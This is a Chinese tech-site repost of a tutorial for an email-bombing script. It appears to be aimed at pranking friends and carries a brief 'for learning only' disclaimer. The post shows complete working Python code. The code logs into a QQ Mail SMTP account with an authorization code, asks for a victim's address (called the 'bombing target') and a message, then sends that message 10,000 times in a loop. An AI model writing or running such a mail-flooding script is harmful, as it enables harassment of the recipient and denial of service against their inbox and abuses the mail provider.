IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> python 实现邮件批量发送(你懂得) -> 正文阅读

[系统运维]python 实现邮件批量发送(你懂得)

用python实现邮件批量发送整蛊朋友,此文章仅供学习,切勿用于非法行为

话不多说,我们来讨讲解实现思路。

明确需求

首先发送邮件,需要有发件人,收件人

其次一封邮件,必须有标题,内容

代码流程

  1. 获取发件人邮箱号以及授权码
  2. 获取被轰炸人邮箱号
  3. 登录发件邮箱
  4. 构造一封邮件
  5. 进入循环
  6. 启动发信功能
  7. 加密传输

具体实现

我们的邮箱选用QQ邮箱,为了安全起见,邮箱采用授权码方式登录

我们在QQ邮箱的设置中,开启POP3/SMTP服务在这里插入图片描述
将第一个服务开启,获得授权码

现在我们需要获取被轰炸人邮箱,以及写入文章标题,文章内容

mail = input("请输入需要轰炸的邮箱:")
content = input("请输入你要发送的内容:")
title = input("请输入邮件的标题:")

现在我们需要导入相关依赖库

import smtplib
# 用于构造邮件内容
from email.mime.text import MIMEText
# 用于构造邮件头
from email.header import Header

这里我们将发送邮件功能编写为函数

def sendMail(mail,content,title):
    # 发件人
    number = 'your@qq.com'
    # 邮箱授权码
    password = 'yourpassword'
    # 收件人
    to_addr = mail
    # 发信服务器地址
    smtp_server = 'smtp.qq.com'
    # 正文内容
    msg = MIMEText(content,'plain','utf-8')
    # 邮件头信息
    msg['From'] = Header(number)
    msg['To'] = Header(to_addr)
    msg['Subject'] = Header(title)
    # 开启发信服务 加密传输
    server = smtplib.SMTP_SSL(host=smtp_server)
    server.connect(smtp_server)
    # 登录发信
    server.login(number,password)
    # 发信
    server.sendmail(number,to_addr,msg.as_string())
    print('发送成功')

函数循环调用,即可实现批量发送

# 轰炸 循环
for i in range(10000):
    sendMail(mail,content,title)
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-01-24 11:21:19  更:2022-01-24 11:22:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 20:05:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码